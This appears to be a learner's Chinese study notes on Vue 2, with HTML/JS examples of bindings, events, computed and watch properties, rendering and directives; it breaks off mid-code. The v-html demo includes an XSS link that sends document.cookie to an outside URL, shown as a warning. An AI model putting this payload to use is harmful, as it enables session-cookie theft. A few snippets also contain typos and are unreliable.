Vue2
Vue2复习
初识Vue
vue概述:vue可以分为开发版和生产版。开发版会有错误提示;生产版没有错误提示。在项目发布的时候将开发版变成生产版。
定义Vue实例
//方式一:
new Vue({
//el表示vue挂载的容器,通过css选择器来确认挂载容器,如class,id
//el也可以这么写 el: document.getElementById("root")
el: '#root'
//没有组件化的情况下,data可以写成对象式,否则必须写成函数式
//data中的数据都会储存在vue实例上,被封装成了_data属性,只要是vue实例身上的东西都可以使用{{}} 来使用
//vue实例中的函数不能写成箭头函数,否则this指向的是window对象
data: {
username: '陈浪涛',
password: '123'
}
})
//方式二:
const vm = new Vue({
el: '#root',
data: {
useranme: '陈浪涛',
password: '123'
}
})
使用Vue实例:
<div id="root">
<h1>
{{username}}
</h1>
</div>
<!--使用{{ }}来读取vue实例中的值-->
<!-- {{}}中写的是js表单式,不是js语句 -->
<!--
js表达式:指有返回值的。如方法,判断,基础的计算表达式
js语句:如if,while等
-->
想要了解vue可以打印vue的实例来看
数据绑定
vue的数据绑定主要有v-bind和v-model来实现
- v-bind:value=""或者:value="" v-bind指令的数据绑定是单向的,是data流向html。如v-bind:src=""或者:srcd=""
- v-model:value=""或者v-model="" v-model指令的数据绑定是双向的,data和html相互影响,局限在于v-model指令只能用于有value属性的html标签上。如表单元素:input
MVVM架构
M:指数据层
V:指数据展示层
MV:是数据层和数据展示层的桥梁,vue就起这样的作用(vue也是参考MVVM架构来实现的)
案例
<div class="root">
<p>v-model双向绑定</p>
<input v-model="name" type="text" />
<div>{{name}}</div>
<div>{{person.name}}</div>
</div>
<script>
new Vue({
el:'.root',
data:function(){
return{
// 对于同名属性可以采用层级来解决
name:'陈浪涛',
person:{
name:'陈浪涛2'
}
}
}
})
</script>
数据代理
事件
vue中的事件绑定
-
使用v-on指令来绑定时间对象,也可以简写:@click=""
-
<button v-on:click="test1">vuewithout参数事件</button> <button @click="test1">vuewithout参数事件</button> -
<button v-on:click="test2($event,12)">vuewith参数事件</button> <!--如何获取时间对象--> <!--在事件处理函数参数中用$event来占位,否则会被事件处理函数的参数覆盖掉--> -
案例
-
<div id="root"> <button v-on:click="test1">vuewithout参数事件</button> <button v-on:click="test2($event,12)">vuewith参数事件</button> </div> <script> new Vue({ el:'#root', data:{}, //事件回调函数要定义在methods中,回调函数不能用箭头函数,否则this指的是window,而 不是vue实例对象 methods:{ test1(event){ //target用来获取事件点击的按钮对象 console.log(event.target.innerText) }, test2(event,a){ console.log(event,a) } } }) </script>
-
vue中键盘事件
-
键盘事件keyup和keydown,配合键盘的名字(event.key)和键盘的别名(vue中的键盘别名)和键盘值(event.keyCode)。但是配合键盘值来使用不推荐。
-
vue中的键盘别名
-
vue现有的别名键 1.enter:回车 2.delete:删除或者退格 3.esc: 4.space: 5.tab:(tab需要配合keydown事件使用,原因是tab默认是键盘按下就执行,默认功能就是使光标失去焦 点) 6.up: 7.down: 8.left: 9.right: 对于vue中没有别名的键,可以自定义别名键 Vue.config.keyCodes.自定义键名=键码
-
-
使用默认的键盘名称
- 对于特殊的情况:如果是两个单词组成的键名,要用-分开且单词都要小写。如CapsLock,需要写成caps-lock
-
对于键盘值可以通过键盘事件对象获取来使用
-
对于系统修饰键的用法
-
系统修饰键(用法特殊):ctrl,alt,meta,shift 配合keyup使用:配合keyup使用的情况下,在按下修饰键的同时还要按下其他的键,事件才可以生效 如@keyup.ctrl.y="" 配合keydown使用:不用配合其他的键使用即可触发事件
-
-
案例:
-
<div id="root"> <input type="text" @keyup.caps-lock="keyborder" /> <input type="text" @keyup.20="keyborder"/> <input type="text" @keyup.w="keyborder"/> <input type="text" @keyup.mykey="keyborder"/> </div> <script> Vue.config.keyCodes.mykey=20 new Vue({ el:'#root', data:{}, methods:{ keyborder(event){ console.log(event.key,event.keyCode) } } }) </script>
-
vue中的事件修饰符
1.prevent:可以阻止事件的默认行为,如a标签,当添加了click事件和href属性后,在执行网click处理函数后, 会默认跳页面,prevent可以阻止这种默认行为
2.stop:阻止冒泡事件(html的事件处理默认从最外面开始捕获事件,再从最里面开始冒泡,冒泡即可以执行事件)
3.once:事件只会执行一次
4.capture:可以使事件在捕获阶段就可以执行事件且不冒泡
5.self:只有event.target是当前对象时候才会被执行,可以做到只有点击什么执行什么,不会受到冒泡的影响
6.passive:事件的默认行为会立即被执行,不会等到回调函数执行完成之后在触发默认行为(在移动端可以用到)
注意点:事件的修饰符可以组合起来写,如@click.prevent.stop=""
-
案例
-
<div id="root"> <!-- 1.prevent 示例--> <a href="http://www.baidu.com/" @click="alertmesg">prevent修饰符</a> <br> <a href="http://www.baidu.com/" @click.prevent="alertmesg">prevent修饰符(阻止)</a> <hr> <!-- 2.stop 示例 --> <div @click="stop2" style="width: 300px;height: 100px;background-color: aqua;"> <button @click.stop="stop1">阻止冒泡事件</button> </div> <hr> <!-- 3.once 示例 --> <button @click.once="once">我只会执行一次</button> <hr> <!-- 4.capture --> <div @click.capture="stop2" style="width: 300px;height: 100px;background-color: aqua;"> <button @click="stop1">阻止冒泡事件</button> </div> <hr> <!-- 5.self --> <div @click.self="stop2" style="width: 300px;height: 100px;background-color: aqua;"> <button @click="stop1">阻止冒泡事件</button> </div> <!-- 6.passive --> <!-- 这里scroll为滚动事件:检测的是滚动条,事件与滚动一起执行,而wheel(检测的是鼠标的滚动轮)则是先执行完回调函数才滚动,所以加了passive之后就可以象scroll一样 --> <ul @wheel.passive="scroll" style="height: 200px;width: 300px;background-color: aqua;overflow: auto;"> <li>1</li> <li>2</li> <li>3</li> <li>4</li> </ul> </div> <script> new Vue({ el:'#root', data:{}, methods:{ alertmesg(){ let flag = confirm("prevent修饰符") }, stop1(){ console.log("button") }, stop2(){ console.log("div") }, once(){ alert('我只会执行一次') }, scroll(){ for(let i=0;i<=10000;i++){ console.log(i) } } } }) </script>
-
计算属性
- 在vue实例中的computed对象中定义
计算属性的简介
计算属性:计算属性实际上是一个包含get和set函数的对象,要用的属性不存在,而是通过计算得出来的。一共有两个方法get和set
原理:计算属性底层使用到了Object.defineproperty方法提供的setter和getter方法
get函数什么时候执行:1.初始化数据的时候2.当get中计算属性所依赖的值改变时候
set函数什么用:当计算属性需要改变的时候必须写set方法
注意:计算属性最终都会出现到vm实例上,可以直接读取
与method相比的优势
- 同一个功能method和计算属性都可以完成,但是计算属性相比method内部有缓存机制,效率更高,调试方便。
计算属性的全写示例
<div id="app">
FirstName:<input v-model="firstname" type="text"><br>
LastName: <input v-model="lastname" type="text"><br>
AllName: <div>{{AllName}}</div>
</div>
<script>
const vm= new Vue({
el:'#app',
data:{
firstname:'',
lastname:''
},
computed:{
AllName:{
//完整的计算属性是一个对象,里面包含了get和set方法,get在初始化时候被调用,如果模板中有多个地方使用到了AllName这个计算属性,只会在第一个地方调用
//get方法,之后会存在缓存,供其他地方使用,提高效率。
//set方法是在计算属性被修改时候被调用
get(){
console.log("get方法被调用了")
return this.firstname+'-'+ this.lastname;
},
set(val){
//val是计算属性
this.firstname=val.split('-')[0]
this.lastname=val.split('-')[1]
console.log("set方法被调用了")
}
}
}
})
</script>
简写
如果计算属性只用到get方法,没有用到set方法,可以简写成一个函数
-
示例
-
<div id="root"> FirstName:<input v-model="firstname" type="text"><br> LastName: <input v-model="lastname" type="text"><br> AllName: <div>{{AllName}}</div> </div> <script> new Vue({ el:'#root', data:{ firstname:'', lastname:'' }, computed:{ //计算属性的简写形式(将AllName改成方法的形式:改方法就是get方法)(简写的前提:不对计算属性做修改) AllName(){ return this.firstname+'-'+this.lastname } } }) </script>
-
监视属性
- 在vue实例中的watch对象中定义
监视属性的简介
监视属性是一个对象,对象包含了两个属性和一个回调函数,监视的属性必须存在
immediage:是否在组件初始化的时候调用一次
deep:是否开启深度监视,vue默认只开启了一层的监视,如果需要深度监视需要开启deep:true
handler(newvalue,oldvalue):当监视的属性发生变化的时候调用该回调函数处理,newvalue代表监视属性的新值,oldvalue代表改变之前的值
监视属性全写示例
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
<script src="../vue.js"></script>
</head>
<body>
<!--
监视属性watch:
1.监视属性监视的属性要存在,当属性的值改变时,会自动调用handler()回调函数做出相关的操作
2.监视属性必须存在,才能监视
3.监视属性有两种方法:
1.在vue实例中定义
2.借助vm实例对象来定义
-->
<div id="root">
<span>今天天气为{{weather}}</span>
<button @click="change">切换天气</button>
</div>
<script>
const vm = new Vue({
el:'#root',
data:{
weather:'',
flag:true
},
methods:{
change(){
this.flag=!this.flag
}
},
//当然除了在vue实例中定义watch外还可以在外面定义
watch:{
//watch的全写形式
//对flag(也是对象式的)进行监视如果为true天气为晴天,否则为阴天
flag:{
//在初始化的是够就调用一次handler方法
immediate:true,
deep:true,
//handler方法(当监视的属性发生改变时调用)(该方法会接收两个参数为监视属性的改变的值和原来的值)
handler(newval,oldval){
console.log(newval,oldval)
//监视flag的变化来改变天气
this.weather = newval?'晴天':'阴天'
}
}
}
})
//利用vue实例vm在外面定义监视属性(这里注意用这种方式来定义的话,要用单引号将属性包裹起来)
//其实在实例里面定义的话单引号可以省略的
// vm.$watch('flag',{
// immediage:true,
// handler(newval,oldval){
// this.weather=newval?'晴天':'阴天'
// }
// })
</script>
</body>
</html>
监视属性简写(前提是业务不需要使用immediage和deep属性)
- 简写形式为一个回调方法,方法名为需要监视的属性名
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
<script src="../vue.js"></script>
</head>
<body>
<div id="root">
<button @click="change">改变person的属性值</button>
</div>
<script>
const vm = new Vue({
el: '#root',
data: {
//对于这种多层级的对象,如果要想实现id变了,或者child中的值变了,就触发person监视属性的回调函数handler,就要用到person的深度监视
//因为watch监视属性默认只开启了一层的监视深度(但vue默认是可以深度监视的)
person: {
id: '',
name: '',
child: {
name: ''
}
},
name:''
},
methods: {
change() {
this.name="clt"
}
},
watch: {
//当我们不需要immediate和deep时,就可以简写
name(newval,oldval){
console.log(newval)
console.log(oldval)
}
}
})
</script>
</body>
</html>
监视属性和计算属性的区别
-
计算属性能够完成的业务监视属性同样也能完成,但是监视属性能够完成的业务计算属性不一定能够完成(比如监视属性可以做异步任务)
-
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Document</title> <script src="../vue.js"></script> </head> <body> <!-- 计算属性和监视属性的区别:1.计算属性能够完成的任务监视属性一样可以完成,但是监视属性能够完成的任务监视属性就不一定能够完成(比如:监视属性可以做异步任务) 两个小原则:1.所有被vue管理的函数要写成普通函数,让this指向的是vue实例。2.所有不被vue管理的函数采用箭头函数,让this指向vue实例 (如定时器的回调函数,ajax的回调函数,promise的回调函数) --> <div id="root"> firstname: <input v-model="firstname" type="text"> lastname: <input v-model="lastname" type="text"> 计算属性: <span>{{Allname}}</span> 监测属性:<span>{{allname}}</span> </div> <script> new Vue({ el:'#root', data:{ firstname:'', lastname:'', allname:'' }, computed:{ //计算属性没法写异步操作 Allname(){ return this.firstname +'-'+this.lastname } }, watch:{ //在这里对firstname进行监视,并且监视过后一秒才更新allname(一步操作) firstname(){ setTimeout(()=>{ this.allname=this.firstname+'-'+this.lastname },1000) } } }) </script> </body> </html>
-
-
计算属性的值是自己定义的,且可以像data中的数据一样被直接调用,而监视属性的值是data中已经定义的,对data中现有的属性进行监视
动态绑定class属性
- 为元素动态绑定class属性(前提是class样式已经定义)
字符串的形式绑定
数组字符串的形式绑定
对象的形式绑定
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
<script src="../vue.js"></script>
<style>
/* 设置大小的 */
.demo1{
width: 200px;
height:200px;
}
/* 设置背景颜色的 */
.demo2{
background-color: pink;
}
/* 设置边框的 */
.demo3{
border: 1px solid red;
}
/* 设置边框圆角的 */
.demo4{
border-radius: 20px;
}
</style>
</head>
<body>
<div id="root">
<div class="demo1" :class="change">
</div>
<div class="demo1" :class="classarr">
</div>
<div class="demo1" :class="classperson">
</div>
</div>
<script>
new Vue({
el:'#root',
data:{
//字符串绑定class,适用于class个数已知,而名字不知道
change:'demo2',
//数组绑定class,适用于class未知,名字未知
classarr:['demo2','demo3','demo4'],
//对象绑定class,适用于数量class和名字已知道,但使用的数量未知
//可以通过改变布尔值来指定用不用
classperson:{'demo2':true,'demo3':true}
}
})
</script>
</body>
</html>
动态绑定style属性
对象的形式绑定
宿主对象的形式绑定
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
<script src="../vue.js"></script>
<style>
/* 设置大小的 */
.demo1{
width: 200px;
height:200px;
}
/* 设置背景颜色的 */
.demo2{
background-color: pink;
}
/* 设置边框的 */
.demo3{
border: 1px solid red;
}
/* 设置边框圆角的 */
.demo4{
border-radius: 20px;
}
</style>
</head>
<body>
<div id="root">
<div class="demo1" :style="person">
</div>
<div class="demo1" :style="personarr">
</div>
</div>
<script>
new Vue({
el:'#root',
data:{
//对象绑定:style:="{backgroundColor:'red'}"在这里注意了,如果css样式中有-存在,则将字母改成大写
person:{backgroundColor:'red'},
//数组绑定
personarr:[{backgroundColor:'blue',border:'1px solid black'},{borderRadius:'20px'}]
}
})
</script>
</body>
</html>
条件渲染
- 条件渲染使用的是v-if和v-show两个指令来判断布尔值来实现的,如果需要在多个组件中只显示一个,v-if可以和v-else-if和else连用
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
<script src="../vue.js"></script>
<style>
.demo1{
width: 200px;
height: 200px;
border: 1px solid black;
}
</style>
</head>
<body>
<!--
条件渲染的两种方法:v-if,v-show
1.v-if:
1.适用于不频繁在显现和不显现的状态更换
2.特点是,直接将dom节点移除掉
3.可以和v-else-if和else连用,但是,结构不能被打断
2.v-show:
1.适用于频繁更换状态
2.不移除dom节点,底层原理是使用了display:none
3.注意点:使用v-if,不一定能获取到dom节点,但是,使用v-show,一定可以获取到dom节点
-->
<div id="root">
<div class="demo1" v-show="flag"></div>
<button @click="change">(v-if)点我触发条件渲染</button>
<button @click="change1">(v-show)触发条件渲染</button>
<button @click="add">点我自增</button>
<div v-if="a===1">等于一显示</div>
<div v-else-if="a===2">等于二显示</div>
<div else="a===3">等于三显示</div>
</div>
<script>
new Vue({
el:'#root',
data:{
flag:true,
a:0,
},
methods:{
change(){
this.flag=!this.flag
},
change1(){
this.flag=!this.flag
},
add(){
this.a++
}
}
})
</script>
</body>
</html>
列表渲染
- 使用v-for进行列表数据渲染,对象的属性数据渲染,字符串的数据渲染,数字的遍历
- v-for指令可以与v-show指令一起使用,但是建议和v-if一起使用
- v-for在早期是可以和v-if一起使用的,在vue2.x中同时出现会有红色波浪线提示不能一起使用,因为v-for的优先级大于v-if,在循环元素时,每个元素都要进行v-if判断,但是最终显示的元素太少造成资源浪费,所以不建议一起使用
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
<script src="../vue.js"></script>
</head>
<body>
<!--
v-for遍历:
v-for="(p,index) in person" :key="p.id"(这里也可以写index,只不过有时候会出问题)
用处:可以遍历数组,对象,字符串,指定的次数
-->
<!-- 这里的in可以用of代替 -->
<div id="root">
<ul>
<!-- 在这里p指的是每个对象,index指的是数组的索引,这里遍历的时候最好指明key值,最好是数据中自带的id -->
<li v-for="(p,index) in personarr" :key="p.id">{{p.id}}-{{p.name}}-{{p.age}}</li>
</ul>
<ul>
<li v-for="(p,index) in person" :key="index">{{p}}</li>
</ul>
<ul>
<li v-for="(char,index) in str" :key="index">{{char}}</li>
</ul>
<!-- 在这里遍历数值 -->
<ul>
<li v-for="(i,index) in 10">{{i}}</li>
</ul>
</div>
<script>
new Vue({
el:'#root',
data:{
//使用v-for渲染数组
personarr:[{'id':'1','name':'小明','age':'21岁'},
{'id':'2','name':'小红','age':'22岁'},
{'id':'3','name':'小美','age':'22'}],
//这里遍历对象
person:{
'id':'1',
'name':'陈浪涛',
'age':'21岁'
},
//这里遍历字符串
str:'Hello,World!!!',
}
})
</script>
</body>
</html>
key的作用与原理
- key主要是用来在数据遍历的时候,为每一个遍历出来的数据做一个标识,用于在后期数据变化的时候新旧虚拟dom的匹配对比
![]()
- 通常情况下我们使用的是每一条数据的提供的唯一标识符作为index的标识符,可以避免在数据的种种变化中产生数据的混乱显示(比如每一条数据中存在想imput的元素),如果对于遍历出来的数据只做数据的展示渲染,可以使用默认的index作为标识符。
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
<script src="../vue.js"></script>
</head>
<body>
<!--
面试题:react,vue中的key有什么作用?(key的内部原理)
1.虚拟dom中key的作用:
key是虚拟dom对象的标志,当数据发生变化时,Vue会根据新数据生成新的虚拟dom,
随后vue进行新虚拟dom和旧虚拟dom的差异对比。
2对比规则:
(1).旧的虚拟dom中找到了与新的虚拟dom相同的key:
1.若虚拟dom中的内容没变,直接使用之前的真实dom
2.若虚拟dom中的内容变了,则直接生成新的真实dom,随后替换掉模板中的真实dom
(2).旧的虚拟dom中没有找到与新虚拟dom相同的key
则创建新的真实dom,并在模板中显示
3.用index(指的是遍历的索引)可能会发生的问题:
1. 若数据进行:逆序添加,逆序删除等破坏顺序的操作:会产生没有必要的真实dom更新,界面没有问题,但效率低下
2. 如果遍历结构中含有输入类的input dom:会产生错误的dom更新
4.开发中如何选择key?
1.最好使用每条数据的唯一标识作为key,比如id,手机号,身份证号,学号等唯一标识
2.如果遍历的数据中不存在对数据的逆序添加(在开头添加数据), 逆序删除等破坏性的操作,仅仅用于展示数据,
使用index作为key是没有问题的
-->
<div id="root">
<!-- 这里演示一个用遍历的索引作为key的问题(逆序插值) -->
<ul>
<li v-for="(p,index) in personarr" :key="index">{{p.id}}-{{p.name}}--{{p.age}}<input type="text"></li>
</ul>
<!-- 当我在使用vm实例对象在控制台在头插入一个input的时候,原来的input中的值会发生错位,因为vue用diff算法 -->
<img src="./123.JPG">
</div>
<script>
const vm = new Vue({
el:'#root',
data:{
personarr:[{'id':'1','name':'小明','age':'21岁'},
{'id':'2','name':'小红','age':'22岁'},
{'id':'3','name':'小美','age':'22'}]
}
})
</script>
</body>
</html>
列表过滤
- 本质是对于过滤的条件数据的变化进行相对应的处理
使用计算属性来完成列表过滤
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
</head>
<script src="../vue.js"></script>
<body>
<div id="root">
<input type="text" v-model="serchkey" placeholder="请输入过滤条件">
<ul>
<h1>人员列表</h1>
<li v-for="(person,index) in filpersonarr" :key="person.personid">{{person.personid}}-{{person.name}}-{{person.sex}}</li>
</ul>
</div>
<script>
new Vue({
el:'#root',
data:{
personarr:[{'personid':'1','name':'陈浪涛','sex':'男'},
{'personid':'2','name':'陈涛','sex':'男'},
{'personid':'3','name':'周文涛','sex':'男'}],
serchkey:''
},
computed:{
filpersonarr(){
const arr = this.personarr.filter((person)=>{
return person.name.indexOf(this.serchkey)!==-1
})
return arr
}
}
})
</script>
</body>
</html>
使用监视属性来完成列表过滤
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
</head>
<script src="../vue.js"></script>
<body>
<div id="root">
<input type="text" v-model="serchkey" placeholder="请输入过滤条件">
<ul>
<h1>人员列表</h1>
<li v-for="(person,index) in filpersonarr" :key="person.personid">{{person.personid}}-{{person.name}}-{{person.sex}}</li>
</ul>
</div>
<script>
new Vue({
el:'#root',
data:{
personarr:[{'personid':'1','name':'陈浪涛','sex':'男'},
{'personid':'2','name':'陈涛','sex':'男'},
{'personid':'3','name':'周文涛','sex':'男'}],
filpersonarr:[],
serchkey:''
},
watch:{
// serchkey(newval){
// this.filpersonarr = this.personarr.filter((person)=>{
// return person.name.indexOf(newval)!==-1
// })
// }
serchkey:{
immediate:true,
handler(newval){
setTimeout(()=>{
this.filpersonarr=this.personarr.filter((person)=>{
return person.name.indexOf(newval)!==-1
})
},Math.random()*5000)
}
}
}
})
</script>
</body>
</html>
使用计算属性完成带有排序功能的列表过滤
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
</head>
<script src="../vue.js"></script>
<body>
<div id="root">
<input type="text" v-model="serchkey" placeholder="请输入过滤条件">
<ul>
<h1>人员列表</h1>
<button @click="key1=2">升序</button>
<button @click="key1=1">降序</button>
<button @click="key1=0">原序</button>
<li v-for="(person,index) in filpersonarr" :key="person.personid">{{person.personid}}-{{person.name}}-{{person.sex}}</li>
</ul>
</div>
<script>
new Vue({
el:'#root',
data:{
personarr:[{'personid':'1','name':'陈浪涛','sex':'男'},
{'personid':'2','name':'陈涛','sex':'男'},
{'personid':'3','name':'周文涛','sex':'男'}],
serchkey:'',
key1:0
},
computed:{
filpersonarr(){
console.log(13)
const arr = this.personarr.filter((person)=>{
return person.name.indexOf(this.serchkey)!==-1
})
if(this.key1){
this.key1===1?arr.sort((a,b)=>{
return b.personid-a.personid
}):arr.sort((a,b)=>{
return a.personid-b.personid
})
}
return arr
}
}
})
</script>
</body>
</html>
vue数据更新时候的一个问题
数据监测原理
vue中的set方法
vue数据监测原理
vue数据监测总结
收集表单数据
- 展示vue使用v-model指令搜集表单中的数据
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
<script src="../vue.js"></script>
</head>
<body>
<div id="root">
<ul>
<li>
账户:<input v-model="userinfo.username" type="text">
</li>
<li>
密码:<input v-model="userinfo.passwd" type="text">
</li>
<li>
性别:
男<input v-model="userinfo.sex" value="male" type="radio" name="sex">
女<input v-model="userinfo.sex" value="female" type="radio" name="sex">
</li>
<li>
<!-- 在这里需要注意的是
有一个修饰符可以将用户输入的值自动在前端转换成数字
通常number属性和vue提供的v-model.number一起使用-->
年龄:
<input v-model.number="userinfo.age" type="number">
</li>
<li>
<!-- 在这里需要注意的是type为checkbox,如果接收的数据类型不是数组的话
传入的值将是true或者false(当然也要指定value属性) -->
爱好:
抽烟<input v-model="userinfo.hobbys" type="checkbox" value="抽烟">
喝酒<input v-model="userinfo.hobbys" type="checkbox" value="喝酒">
敲代码<input v-model="userinfo.hobbys" type="checkbox" value="敲代码">
</li>
<li>
所在的城市:
<select v-model="userinfo.city">
<option value="">请选择城市</option>
<option value="biejie">毕节</option>
<option value="suzhou">苏州</option>
<option value="jiujiang">九江</option>
</select>
</li>
<li>
<input v-model="userinfo.isAgree" type="checkbox">
请阅读<a href="#">《表单提交规则》</a>
</li>
<li>
<button @click="submit">提交</button>
</li>
</ul>
</div>
<script>
new Vue({
el:'#root',
data:{
userinfo:{
username:'',
passwd:'',
sex:'',
age:'',
hobbys:[],
city:'',
isAgree:''
}
},
methods:{
submit(){
console.log(JSON.stringify(this.userinfo))
}
}
})
</script>
</body>
</html>
过滤器
- 可以在vue实例中的filters对象中配置vue的局部过滤器,当然也可以在vue实例外面通过Vue.filter来配置全局的过滤器,vue过滤器需要使用差值语法来使用,否则报错
局部过滤器和全局过滤器的定义
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
<script src="../vue.js"></script>
</head>
<body>
<div id="root">
<ul>
<!-- vue的过滤器分为全局过滤和局部过滤 -->
<!-- 在这里要给过滤器方法传值,要使用管道符传值 -->
<!-- 注意filter方法最好是用在插值语法当中,否则报错 -->
<!-- 且filters分为局部的和全局的,并且filters中的this指向不是vue实例,如果非要使用的话,只能在实例外面定义一个全局变量
并且在beforeCreate钩子函数中改变this的指向 -->
<input v-model="key" type="number" placeholder="选择小于几">
<li>{{number | frontfive}}</li>
<!-- 一个属性在这里filters方法也是可以有多个的 -->
<!-- 处理逻辑就是number传入frontfive过滤方法,然后frontfive返回的值作为下一个过滤方法的参数 以此类推-->
<!-- <li>{{number | frontfive | frontfive2}}</li> -->
</ul>
</div>
<script>
let vm;
//全局过滤器,全局过滤器要在实例对象前配置
//注意如果是全局过滤器只能使用filter一个一个配
//同样的全局的过滤器中的this也是window
Vue.filter('frontfive',function(val){
let newnumber = val.filter((n)=>{
return n<vm.key
;
})
console.log(this)
return newnumber
})
new Vue({
el: '#root',
data: {
number: [1, 2, 3, 4, 5, 6, 7, 8, 9],
key: ''
},
// //在这里filters实际上就是方法过滤器
// //用法:在插值语法和在指令中使用,但是指令v-model=""不支持过滤器方法
// filters:{
// //过滤掉number中的小于指定值的数值
// //过滤器方法默认有一个参数
// frontfive(val){
// let newnumber = val.filter((n)=>{
// return n<vm.key
// })
// return newnumber
// },
// //对frontfive返回的数据只保留最后一个
// frontfive2(val){
// let newnumber2 = val.slice(val.length-1,val.length)
// return newnumber2
// }
// },
//利用全局变量改变this的指向
beforeCreate(){
vm = this
}
})
</script>
</body>
</html>
常用的内置指令
-
v-bind:数据的单向绑定,vue实例到dom元素
-
v-on:事件绑定
-
v-for:数据的遍历
-
v-model:数据的双向绑定
-
v-show:节点的隐藏与显示
-
v-if:同样可以用于节点的隐藏与显示
-
v-else-if:配合v-if使用
-
v-else:配合v-if使用
-
v-pre:被标记的元素不会被vue解析
-
v-html:解析带有html标签的字符串
-
v-text:将元素的值替换为指定的字符串
-
v-once:vue只会在初始化的时候解析一次,以后vue不会在解析被标注的元素
-
v-cloak:在vue解析的时候存在,在vue解析完成后消失,用于解决vue的闪屏问题
-
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Document</title> <script src="../vue.js"></script> <style> /* 属性选择器 */ [v-bloak]{ /* display为none时,节点就隐藏 v-show指令底层用的就是这个原理*/ display: none; } </style> </head> <body> <!-- 总结:我们学过的指令 v-bind:单向绑定 v-model: v-on:事件绑定 v-for: v-if: v-else-if: v-else: v-show: --> <div id="root"> <!-- v-text 指令将文本title内容将节点的内容直接替换掉 --> <!-- 但是插值语法相对于v-text比较灵活 --> <h1 v-text="title"></h1> <!-- v-html 指令会将文本中的html解析,而v-text则不会 --> <!-- 这里注意,v-html="" 使用不当会造成安全问题,如cookie如果服务端不完善会造成cookie丢失--> <!-- 在网站上动态渲染任意HTML是非常危险的,容易导致xss攻击 --> <!-- 一定要在可信的内容上使用v-html,永远不要用在用户提交的内容上 --> <h1 v-html="html"></h1> <div v-html="html2"></div> <!-- v-cloak标签可以在vue还没有解析h1之前存在,在vue解析之后就自动消失 --> <!-- 可以配合css的display使用 --> <!-- 解决网页闪屏问题 --> <h1 v-cloak></h1> <!-- 第一个h2如果使用了v-once后就只加载number的初始化值,以后不随着number的变化而变化 --> <h2 v-once>{{number}}</h2> <h2>{{number}}</h2> <button @click="number++">点我number加加</button> <!-- v-pre的作用是跳过节点,vue对没有使用vue插值语法或者指令的节点不进行编译 ,以此来提高vue的编译效率--> <h2 v-pre>{{prenumber}}</h2> </div> <script> new Vue({ el:'#root', data:{ title:'Hello,World!!!', html:'<input type="text">', //这样的形式就会把你的所有cookie传给baidu html2:'<a href=javascript:location.href="http://www.baidu.com?cookie="+document.cookie>点我获取本站cookie</a>', number:0, prenumber:2 } }) </script> </body> </html>
自定义指令
- 自定义指令分为函数式的和对象式的,局部的还有全局的
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
<script src="../vue.js"></script>
</head>
<body>
<!--
总结:
1.定义语法:
1.局部指令:
分为函数式和对象式
2.全局指令:
同样分为函数式和对象式
2.指令对象中的三个函数:
1.bind(element,binding) 2.inserted(element,binding) 3.update(element,binding)
element是绑定的dom元素,binding是指令本身如果要获取绑定的值得话可以bindinng.value
注意:
如果是函数式的指令:简写的函数就包含了bind和update
3.注意点:
指令函数定义的指令名如果是多个单词要用‘-’分开(且函数名要用''括起来),不要写成驼峰命名
使用的时候,要在指令名前面加上v-,如v-big
-->
<div id="root">
<!-- 函数式指令 -->
<!-- <input type="number" v-big="n">
<button @click="add">点我n++</button>
<br> -->
<!-- 对象式指令 -->
<!-- <input type="number" v-big2="n2" placeholder="页面加载后自动获取焦点">
<button @click="n2++">点我n2++</button> -->
<!-- 全局的指令 -->
<!-- 自动获取焦点 -->
<!-- <input type="text" v-fbig="n2">
<button @click="n2++">全局的指令</button> -->
</div>
<script>
//同样的,在这里定义全局的指令也可以用函数式的和对象式的,看具体功能
// Vue.directive('fbig',{
// bind(element,binding){
// element.value=binding.value
